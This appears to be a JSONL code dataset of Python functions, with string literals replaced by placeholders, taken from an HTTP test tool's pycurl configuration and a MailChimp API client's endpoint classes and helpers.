{"signature": "def is_context_modifier(self):", "body": "return self.variable_binds or self.generator_binds or self.extract_binds<EOL>", "docstring": "Returns true if context can be modified by this test\n            (disallows caching of templated test bodies)", "id": "f242:c0:m13"}
{"signature": "def is_dynamic(self):", "body": "if self.templates:<EOL><INDENT>return True<EOL><DEDENT>elif isinstance(self._body, ContentHandler) and self._body.is_dynamic():<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Returns true if this test does templating", "id": "f242:c0:m14"}
{"signature": "def realize(self, context=None):", "body": "if not self.is_dynamic() or context is None:<EOL><INDENT>return self<EOL><DEDENT>else:<EOL><INDENT>selfcopy = self.ninja_copy()<EOL>selfcopy.templates = None<EOL>if isinstance(self._body, ContentHandler):<EOL><INDENT>selfcopy._body = self._body.get_content(context)<EOL><DEDENT>selfcopy._url = self.get_url(context=context)<EOL>selfcopy._headers = self.get_headers(context=context)<EOL>return selfcopy<EOL><DEDENT>", "docstring": "Return a fully-templated test object, for configuring curl\n            Warning: this is a SHALLOW copy, mutation of fields will cause problems!\n            Can accept a None context", "id": "f242:c0:m15"}
{"signature": "def realize_partial(self, context=None):", "body": "if self.is_context_modifier():<EOL><INDENT>return self<EOL><DEDENT>elif self.is_dynamic():  <EOL><INDENT>return self.realize(context=context)<EOL><DEDENT>bod = self._body<EOL>newbod = None<EOL>if bod and isinstance(bod, ContentHandler) and bod.is_file and not bod.is_template_path:<EOL><INDENT>newbod = bod.create_noread_version()<EOL><DEDENT>output = self<EOL>if newbod:  <EOL><INDENT>output = copy.copy(self)<EOL>output._body = newbod<EOL><DEDENT>return output<EOL>", "docstring": "Attempt to template out what is static if possible, and load files.\n            Used for performance optimization, in cases where a test is re-run repeatedly\n            WITH THE SAME Context.", "id": "f242:c0:m16"}
{"signature": "def configure_curl(self, timeout=DEFAULT_TIMEOUT, context=None, curl_handle=None):", "body": "if curl_handle:<EOL><INDENT>curl = curl_handle<EOL>try:  <EOL><INDENT>curl.getinfo(curl.HTTP_CODE)                <EOL>curl.reset()<EOL>curl.setopt(curl.COOKIELIST, \"<STR_LIT>\")<EOL><DEDENT>except pycurl.error:<EOL><INDENT>curl = pycurl.Curl()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>curl = pycurl.Curl()<EOL><DEDENT>curl.setopt(curl.URL, str(self.url))<EOL>curl.setopt(curl.TIMEOUT, timeout)<EOL>is_unicoded = False<EOL>bod = self.body<EOL>if isinstance(bod, text_type):  <EOL><INDENT>bod = bod.encode('<STR_LIT>')<EOL>is_unicoded = True<EOL><DEDENT>if bod and len(bod) > <NUM_LIT:0>:<EOL><INDENT>curl.setopt(curl.READFUNCTION, MyIO(bod).read)<EOL><DEDENT>if self.auth_username and self.auth_password:<EOL><INDENT>curl.setopt(pycurl.USERPWD, <EOL>parsing.encode_unicode_bytes(self.auth_username) + b'<STR_LIT::>' + <EOL>parsing.encode_unicode_bytes(self.auth_password))<EOL>if self.auth_type:<EOL><INDENT>curl.setopt(pycurl.HTTPAUTH, self.auth_type)<EOL><DEDENT><DEDENT>if self.method == u'<STR_LIT:POST>':<EOL><INDENT>curl.setopt(HTTP_METHODS[u'<STR_LIT:POST>'], <NUM_LIT:1>)<EOL>if bod is not None:<EOL><INDENT>curl.setopt(pycurl.POSTFIELDSIZE, len(bod))<EOL><DEDENT>else:<EOL><INDENT>curl.setopt(pycurl.POSTFIELDSIZE, <NUM_LIT:0>)<EOL><DEDENT><DEDENT>elif self.method == u'<STR_LIT>':<EOL><INDENT>curl.setopt(HTTP_METHODS[u'<STR_LIT>'], <NUM_LIT:1>)<EOL>if bod is not None:<EOL><INDENT>curl.setopt(pycurl.INFILESIZE, len(bod))<EOL><DEDENT>else:<EOL><INDENT>curl.setopt(pycurl.INFILESIZE, <NUM_LIT:0>)<EOL><DEDENT><DEDENT>elif self.method == u'<STR_LIT>':<EOL><INDENT>curl.setopt(curl.POSTFIELDS, bod)<EOL>curl.setopt(curl.CUSTOMREQUEST, '<STR_LIT>')<EOL>if bod is not None:<EOL><INDENT>curl.setopt(pycurl.INFILESIZE, len(bod))<EOL><DEDENT>else:<EOL><INDENT>curl.setopt(pycurl.INFILESIZE, <NUM_LIT:0>)<EOL><DEDENT><DEDENT>elif self.method == u'<STR_LIT>':<EOL><INDENT>curl.setopt(curl.CUSTOMREQUEST, '<STR_LIT>')<EOL>if bod is not None:<EOL><INDENT>curl.setopt(pycurl.POSTFIELDS, bod)<EOL>curl.setopt(pycurl.POSTFIELDSIZE, len(bod))<EOL><DEDENT><DEDENT>elif self.method == u'<STR_LIT>':<EOL><INDENT>curl.setopt(curl.NOBODY, <NUM_LIT:1>)<EOL>curl.setopt(curl.CUSTOMREQUEST, '<STR_LIT>')<EOL><DEDENT>elif self.method and self.method.upper() != '<STR_LIT:GET>':  <EOL><INDENT>curl.setopt(curl.CUSTOMREQUEST, self.method.upper())<EOL>if bod is not None:<EOL><INDENT>curl.setopt(pycurl.POSTFIELDS, bod)<EOL>curl.setopt(pycurl.POSTFIELDSIZE, len(bod))<EOL><DEDENT><DEDENT>head = self.get_headers(context=context)<EOL>head = copy.copy(head)  <EOL>if is_unicoded and u'<STR_LIT>' in head.keys():<EOL><INDENT>content = head[u'<STR_LIT>']<EOL>if u'<STR_LIT>' not in content:<EOL><INDENT>head[u'<STR_LIT>'] = content + u'<STR_LIT>'<EOL><DEDENT><DEDENT>if head:<EOL><INDENT>headers = [str(headername) + '<STR_LIT::>' + str(headervalue)<EOL>for headername, headervalue in head.items()]<EOL><DEDENT>else:<EOL><INDENT>headers = list()<EOL><DEDENT>headers.append(\"<STR_LIT>\")<EOL>headers.append(\"<STR_LIT>\")<EOL>curl.setopt(curl.HTTPHEADER, headers)<EOL>if self.curl_options:<EOL><INDENT>filterfunc = lambda x: x[<NUM_LIT:0>] is not None and x[<NUM_LIT:1>] is not None  <EOL>for (key, value) in ifilter(filterfunc, self.curl_options.items()):<EOL><INDENT>curl.setopt(getattr(curl, key), value)<EOL><DEDENT><DEDENT>return curl<EOL>", "docstring": "Create and mostly configure a curl object for test, reusing existing if possible", "id": "f242:c0:m19"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(MailChimp, self).__init__(*args, **kwargs)<EOL>self.root = self.api_root = Root(self)<EOL>self.authorized_apps = AuthorizedApps(self)<EOL>self.automations = Automations(self)<EOL>self.automations.actions = AutomationActions(self)<EOL>self.automations.emails = AutomationEmails(self)<EOL>self.automations.emails.actions = AutomationEmailActions(self)<EOL>self.automations.emails.queues = AutomationEmailQueues(self)<EOL>self.automations.removed_subscribers = AutomationRemovedSubscribers(self)<EOL>self.batches = self.batch_operations = BatchOperations(self)<EOL>self.batch_webhooks = BatchWebhooks(self)<EOL>self.campaign_folders = CampaignFolders(self)<EOL>self.campaigns = Campaigns(self)<EOL>self.campaigns.actions = CampaignActions(self)<EOL>self.campaigns.content = CampaignContent(self)<EOL>self.campaigns.feedback = CampaignFeedback(self)<EOL>self.campaigns.send_checklist = CampaignSendChecklist(self)<EOL>self.conversations = Conversations(self)<EOL>self.conversations.messages = ConversationMessages(self)<EOL>self.stores = self.ecommerce = Stores(self)<EOL>self.stores.carts = StoreCarts(self)<EOL>self.stores.carts.lines = StoreCartLines(self)<EOL>self.stores.customers = StoreCustomers(self)<EOL>self.stores.orders = StoreOrders(self)<EOL>self.stores.orders.lines = StoreOrderLines(self)<EOL>self.stores.products = StoreProducts(self)<EOL>self.stores.products.images = StoreProductImages(self)<EOL>self.stores.products.variants = StoreProductVariants(self)<EOL>self.stores.promo_rules = StorePromoRules(self)<EOL>self.stores.promo_codes = StorePromoCodes(self)<EOL>self.files = FileManagerFiles(self)<EOL>self.folders = FileManagerFolders(self)<EOL>self.lists = Lists(self)<EOL>self.lists.abuse_reports = ListAbuseReports(self)<EOL>self.lists.activity = ListActivity(self)<EOL>self.lists.clients = ListClients(self)<EOL>self.lists.growth_history = ListGrowthHistory(self)<EOL>self.lists.interest_categories = ListInterestCategories(self)<EOL>self.lists.interest_categories.interests = ListInterestCategoryInterest(self)<EOL>self.lists.members = ListMembers(self)<EOL>self.lists.members.activity = ListMemberActivity(self)<EOL>self.lists.members.goals = ListMemberGoals(self)<EOL>self.lists.members.notes = ListMemberNotes(self)<EOL>self.lists.members.tags = ListMemberTags(self)<EOL>self.lists.merge_fields = ListMergeFields(self)<EOL>self.lists.segments = ListSegments(self)<EOL>self.lists.segments.members = ListSegmentMembers(self)<EOL>self.lists.signup_forms = ListSignupForms(self)<EOL>self.lists.webhooks = ListWebhooks(self)<EOL>self.ping = Ping(self)<EOL>self.reports = Reports(self)<EOL>self.reports.abuse_reports = ReportCampaignAbuseReports(self)<EOL>self.reports.advice = ReportCampaignAdvice(self)<EOL>self.reports.click_details = ReportClickDetailReports(self)<EOL>self.reports.click_details.members = ReportClickDetailMembers(self)<EOL>self.reports.domain_performance = ReportDomainPerformance(self)<EOL>self.reports.eepurl = ReportEepURL(self)<EOL>self.reports.email_activity = ReportEmailActivity(self)<EOL>self.reports.locations = ReportLocations(self)<EOL>self.reports.sent_to = ReportSentTo(self)<EOL>self.reports.subreports = ReportSubReports(self)<EOL>self.reports.unsubscribes = ReportUnsubscribes(self)<EOL>self.reports.open_details = ReportOpenDetails(self)<EOL>self.reports.google_analytics = ReportGoogleAnalytics(self)<EOL>self.search_campaigns = SearchCampaigns(self)<EOL>self.search_members = SearchMembers(self)<EOL>self.template_folders = TemplateFolders(self)<EOL>self.templates = Templates(self)<EOL>self.templates.default_content = TemplateDefaultContent(self)<EOL>", "docstring": "Initialize the class with your api_key and user_id and attach all of\nthe endpoints", "id": "f245:c0:m0"}
{"signature": "def get_subscriber_hash(member_email):", "body": "check_email(member_email)<EOL>member_email = member_email.lower().encode()<EOL>m = hashlib.md5(member_email)<EOL>return m.hexdigest()<EOL>", "docstring": "The MD5 hash of the lowercase version of the list member's email.\nUsed as subscriber_hash\n\n:param member_email: The member's email address\n:type member_email: :py:class:`str`\n:returns: The MD5 hash in hex\n:rtype: :py:class:`str`", "id": "f246:m0"}
{"signature": "def check_subscriber_hash(potential_hash):", "body": "if re.match(r\"<STR_LIT>\", potential_hash):<EOL><INDENT>return potential_hash<EOL><DEDENT>else:<EOL><INDENT>return get_subscriber_hash(potential_hash)<EOL><DEDENT>", "docstring": "Check the passed value to see if it matches a 32 character hex number that\nMD5 generates as output, or compute that value assuming that the input is\nan email address.\n\n:param potential_hash: A value to be passed to any of the endpoints that\nexpect an MD5 of an email address\n:type potential_hash: :py:class:`str`\n:returns: A valid MD5 hash in hex\n:rtype: :py:class:`str`", "id": "f246:m1"}
{"signature": "def check_email(email):", "body": "if not re.match(r\"<STR_LIT>\", email):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return<EOL>", "docstring": "Function that verifies that the string passed is a valid email address.\n\nRegex for email validation based on MailChimp limits:\nhttp://kb.mailchimp.com/accounts/management/international-characters-in-mailchimp\n\n:param email: The potential email address\n:type email: :py:class:`str`\n:return: Nothing", "id": "f246:m2"}
{"signature": "def check_url(url):", "body": "URL_REGEX = re.compile(<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT:|>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT:)>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT:$>\"<EOL>, re.UNICODE)<EOL>if not re.match(URL_REGEX, url):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return<EOL>", "docstring": "Function that verifies that the string passed is a valid url.\n\nOriginal regex author Diego Perini (http://www.iport.it)\nregex ported to Python by adamrofer (https://github.com/adamrofer)\nUsed under MIT license.\n\n:param url:\n:return: Nothing", "id": "f246:m3"}
{"signature": "def merge_results(x, y):", "body": "z = x.copy()<EOL>for key, value in y.items():<EOL><INDENT>if isinstance(value, list) and isinstance(z.get(key), list):<EOL><INDENT>z[key] += value<EOL><DEDENT>else:<EOL><INDENT>z[key] = value<EOL><DEDENT><DEDENT>return z<EOL>", "docstring": "Given two dicts, x and y, merge them into a new dict as a shallow copy.\n\nThe result only differs from `x.update(y)` in the way that it handles list\nvalues when both x and y have list values for the same key. In which case\nthe returned dictionary, z, has a value according to:\n  z[key] = x[key] + z[key]\n\n:param x: The first dictionary\n:type x: :py:class:`dict`\n:param y: The second dictionary\n:type y: :py:class:`dict`\n:returns: The merged dictionary\n:rtype: :py:class:`dict`", "id": "f246:m4"}
{"signature": "def __init__(self, mc_client):", "body": "super(BaseApi, self).__init__()<EOL>self._mc_client = mc_client<EOL>self.endpoint = '<STR_LIT>'<EOL>", "docstring": "Initialize the class with you user_id and secret_key\n\n:param mc_client: The mailchimp client connection\n:type mc_client: :mod:`mailchimp3.mailchimpclient.MailChimpClient`", "id": "f247:c0:m0"}
{"signature": "def _build_path(self, *args):", "body": "return '<STR_LIT:/>'.join(chain((self.endpoint,), map(str, args)))<EOL>", "docstring": "Build path with endpoint and args\n\n:param args: Tokens in the endpoint URL\n:type args: :py:class:`unicode`", "id": "f247:c0:m1"}
{"signature": "def _iterate(self, url, **queryparams):", "body": "<EOL>if '<STR_LIT>' in queryparams:<EOL><INDENT>if '<STR_LIT>' not in queryparams['<STR_LIT>'].split('<STR_LIT:U+002C>'):<EOL><INDENT>queryparams['<STR_LIT>'] += '<STR_LIT>'<EOL><DEDENT><DEDENT>queryparams.pop(\"<STR_LIT>\", None)<EOL>queryparams.pop(\"<STR_LIT:count>\", None)<EOL>result = self._mc_client._get(url=url, offset=<NUM_LIT:0>, count=<NUM_LIT:1000>, **queryparams)<EOL>total = result['<STR_LIT>']<EOL>if total > <NUM_LIT:1000>:<EOL><INDENT>for offset in range(<NUM_LIT:1>, int(total / <NUM_LIT:1000>) + <NUM_LIT:1>):<EOL><INDENT>result = merge_results(result, self._mc_client._get(<EOL>url=url,<EOL>offset=int(offset * <NUM_LIT:1000>),<EOL>count=<NUM_LIT:1000>,<EOL>**queryparams<EOL>))<EOL><DEDENT>return result<EOL><DEDENT>else:  <EOL><INDENT>return result<EOL><DEDENT>", "docstring": "Iterate over all pages for the given url. Feed in the result of self._build_path as the url.\n\n:param url: The url of the endpoint\n:type url: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f247:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(TemplateFolders, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.folder_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f248:c0:m0"}
{"signature": "def create(self, data):", "body": "if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(), data=data)<EOL>if response is not None:<EOL><INDENT>self.folder_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.folder_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Create a new template folder.\n\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*\n}", "id": "f248:c0:m1"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.folder_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get all folders used to organize templates.\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f248:c0:m2"}
{"signature": "def get(self, folder_id, **queryparams):", "body": "self.folder_id = folder_id<EOL>return self._mc_client._get(url=self._build_path(folder_id), **queryparams)<EOL>", "docstring": "Get information about a specific folder used to organize templates.\n\n:param folder_id: The unique id for the File Manager folder.\n:type folder_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f248:c0:m3"}
{"signature": "def update(self, folder_id, data):", "body": "if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>self.folder_id = folder_id<EOL>return self._mc_client._patch(url=self._build_path(folder_id), data=data)<EOL>", "docstring": "Update a specific folder used to organize templates.\n\n:param folder_id: The unique id for the File Manager folder.\n:type folder_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*\n}", "id": "f248:c0:m4"}
{"signature": "def delete(self, folder_id):", "body": "self.folder_id = folder_id<EOL>return self._mc_client._delete(url=self._build_path(folder_id))<EOL>", "docstring": "Delete a specific template folder, and mark all the templates in the\nfolder as \u2018unfiled\u2019.\n\n:param folder_id: The unique id for the File Manager folder.\n:type folder_id: :py:class:`str`", "id": "f248:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(Automations, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.workflow_id = None<EOL>self.actions = AutomationActions(self)<EOL>self.emails = AutomationEmails(self)<EOL>self.removed_subscribers = AutomationRemovedSubscribers(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f249:c0:m0"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.workflow_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get a summary of an account\u2019s Automations.\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: the query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f249:c0:m1"}
{"signature": "def get(self, workflow_id, **queryparams):", "body": "self.workflow_id = workflow_id<EOL>return self._mc_client._get(url=self._build_path(workflow_id), **queryparams)<EOL>", "docstring": "Get a summary of an individual Automation workflow\u2019s settings and\ncontent. The trigger_settings object returns information for the first\nemail in the workflow.\n\n:param workflow_id: The unique id for the Automation workflow\n:type workflow_id: :py:class:`str`\n:param queryparams: the query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f249:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(AutomationEmails, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.workflow_id = None<EOL>self.email_id = None<EOL>self.actions = AutomationEmailActions(self)<EOL>self.queues = AutomationEmailQueues(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f250:c0:m0"}
{"signature": "def all(self, workflow_id, get_all=False, **queryparams):", "body": "self.workflow_id = workflow_id<EOL>self.email_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(workflow_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(workflow_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get a summary of the emails in an Automation workflow.\n\n:param workflow_id: The unique id for the Automation workflow.\n:type workflow_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: the query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f250:c0:m1"}
{"signature": "def get(self, workflow_id, email_id):", "body": "self.workflow_id = workflow_id<EOL>self.email_id = email_id<EOL>return self._mc_client._get(url=self._build_path(workflow_id, '<STR_LIT>', email_id))<EOL>", "docstring": "Get information about an individual Automation workflow email.\n\n:param workflow_id: The unique id for the Automation workflow.\n:type workflow_id: :py:class:`str`\n:param email_id: The unique id for the Automation workflow email.\n:type email_id: :py:class:`str`", "id": "f250:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(AutomationEmailQueues, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.workflow_id = None<EOL>self.email_id = None<EOL>self.subscriber_hash = None<EOL>", "docstring": "Initialize the endpoint", "id": "f251:c0:m0"}
{"signature": "def create(self, workflow_id, email_id, data):", "body": "self.workflow_id = workflow_id<EOL>self.email_id = email_id<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(data['<STR_LIT>'])<EOL>response = self._mc_client._post(<EOL>url=self._build_path(workflow_id, '<STR_LIT>', email_id, '<STR_LIT>'),<EOL>data=data<EOL>)<EOL>if response is not None:<EOL><INDENT>self.subscriber_hash = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.subscriber_hash = None<EOL><DEDENT>return response<EOL>", "docstring": "Manually add a subscriber to a workflow, bypassing the default trigger\nsettings. You can also use this endpoint to trigger a series of\nautomated emails in an API 3.0 workflow type or add subscribers to an\nautomated email queue that uses the API request delay type.\n\n:param workflow_id: The unique id for the Automation workflow.\n:type workflow_id: :py:class:`str`\n:param email_id: The unique id for the Automation workflow email.\n:type email_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"email_address\": string*\n}", "id": "f251:c0:m1"}
{"signature": "def all(self, workflow_id, email_id):", "body": "self.workflow_id = workflow_id<EOL>self.email_id = email_id<EOL>self.subscriber_hash = None<EOL>return self._mc_client._get(url=self._build_path(workflow_id, '<STR_LIT>', email_id, '<STR_LIT>'))<EOL>", "docstring": "Get information about an Automation email queue.\n\n:param workflow_id: The unique id for the Automation workflow.\n:type workflow_id: :py:class:`str`\n:param email_id: The unique id for the Automation workflow email.\n:type email_id: :py:class:`str`", "id": "f251:c0:m2"}
{"signature": "def get(self, workflow_id, email_id, subscriber_hash):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.workflow_id = workflow_id<EOL>self.email_id = email_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._get(url=self._build_path(workflow_id, '<STR_LIT>', email_id, '<STR_LIT>', subscriber_hash))<EOL>", "docstring": "Get information about a specific subscriber in an Automation email\nqueue.\n\n:param workflow_id: The unique id for the Automation workflow.\n:type workflow_id: :py:class:`str`\n:param email_id: The unique id for the Automation workflow email.\n:type email_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`", "id": "f251:c0:m3"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(SearchCampaigns, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>", "docstring": "Initialize the endpoint", "id": "f252:c0:m0"}
{"signature": "def get(self, **queryparams):", "body": "return self._mc_client._get(url=self._build_path(), **queryparams)<EOL>", "docstring": "Search all campaigns for the specified query terms.\n\n:param queryparams: The query string parameters\nqueryparams['fields'] = array\nqueryparams['exclude_fields'] = array\nqueryparams['query'] = string\nqueryparams['snip_start'] = string\nqueryparams['snip_end'] = string\nqueryparams['offset'] = integer", "id": "f252:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(TemplateDefaultContent, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.template_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f253:c0:m0"}
{"signature": "def all(self, template_id, **queryparams):", "body": "self.template_id = template_id<EOL>return self._mc_client._get(url=self._build_path(template_id, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Get the sections that you can edit in a template, including each\nsection\u2019s default content.\n\n:param template_id: The unique id for the template.\n:type template_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f253:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(Templates, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.template_id = None<EOL>self.default_content = TemplateDefaultContent(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f254:c0:m0"}
{"signature": "def create(self, data):", "body": "if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:html>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(), data=data)<EOL>if response is not None:<EOL><INDENT>self.template_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.template_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Create a new template for the account. Only Classic templates are\nsupported.\n\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*,\n    \"html\": string*\n}", "id": "f254:c0:m1"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.template_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get a list of an account\u2019s available templates.\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['created_by'] = string\nqueryparams['before_created_at'] = string\nqueryparams['since_created_at'] = string\nqueryparams['type'] = string\nqueryparams['folder_id'] = string", "id": "f254:c0:m2"}
{"signature": "def get(self, template_id, **queryparams):", "body": "self.template_id = template_id<EOL>return self._mc_client._get(url=self._build_path(template_id), **queryparams)<EOL>", "docstring": "Get information about a specific template.\n\n:param template_id: The unique id for the template.\n:type template_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f254:c0:m3"}
{"signature": "def update(self, template_id, data):", "body": "if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:html>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>self.template_id = template_id<EOL>return self._mc_client._patch(url=self._build_path(template_id), data=data)<EOL>", "docstring": "Update the name, HTML, or folder_id of an existing template.\n\n:param template_id: The unique id for the template.\n:type template_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*,\n    \"html\": string*\n}", "id": "f254:c0:m4"}
{"signature": "def delete(self, template_id):", "body": "self.template_id = template_id<EOL>return self._mc_client._delete(url=self._build_path(template_id))<EOL>", "docstring": "Delete a specific template.\n\n:param template_id: The unique id for the template.\n:type template_id: :py:class:`str`", "id": "f254:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ReportEepURL, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f255:c0:m0"}
{"signature": "def all(self, campaign_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Get a summary of social activity for the campaign, tracked by EepURL.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f255:c0:m1"}
{"signature": "def all(self, list_id, **queryparams):", "body": "return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "returns the first 10 segments for a specific list.", "id": "f256:c0:m1"}
{"signature": "def get(self, list_id, segment_id):", "body": "return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', segment_id))<EOL>", "docstring": "returns the specified list segment.", "id": "f256:c0:m2"}
{"signature": "def update(self, list_id, segment_id, data):", "body": "return self._mc_client._patch(url=self._build_path(list_id, '<STR_LIT>', segment_id), data=data)<EOL>", "docstring": "updates an existing list segment.", "id": "f256:c0:m3"}
{"signature": "def delete(self, list_id, segment_id):", "body": "return self._mc_client._delete(url=self._build_path(list_id, '<STR_LIT>', segment_id))<EOL>", "docstring": "removes an existing list segment from the list. This cannot be undone.", "id": "f256:c0:m4"}
{"signature": "def create(self, list_id, data):", "body": "return self._mc_client._post(url=self._build_path(list_id, '<STR_LIT>'), data=data)<EOL>", "docstring": "adds a new segment to the list.", "id": "f256:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(FileManagerFiles, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.file_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f257:c0:m0"}
{"signature": "def create(self, data):", "body": "if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(), data=data)<EOL>if response is not None:<EOL><INDENT>self.file_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.file_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Upload a new image or file to the File Manager.\n\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*,\n    \"file_data\": string*\n}", "id": "f257:c0:m1"}
